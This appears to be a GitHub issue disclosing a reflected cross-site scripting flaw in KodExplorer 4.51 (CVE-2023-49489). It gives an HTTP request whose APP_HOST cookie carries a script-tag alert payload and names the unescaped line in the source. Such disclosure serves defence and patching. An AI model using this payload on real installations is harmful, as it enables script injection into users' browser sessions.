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KodExplorer 4.51 has a reflective XSS vulnerability #8

Open Hebing123 opened 10 months ago

Hebing123 commented 10 months ago 
GET /index.php?user/login HTTP/1.1
Host: 192.168.160.130:6699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: APP_HOST=http://192.168.160.130:6699/"><ScRiPt%20>alert(9876)</ScRiPt>
Upgrade-Insecure-Requests: 1

image

The utilization method is relatively complex Need to modify the APP in the cookie header_ HOST, which can be done through HTML or other methods.

The vulnerability occurs on line 308 of config/i18n/en/main.php. The APP_HOST originating from the cookie was directly referenced into the page by% s without entity encoding.

Hebing123 commented 10 months ago

This is the vulnerability exploitation reference for CVE-2023-49489.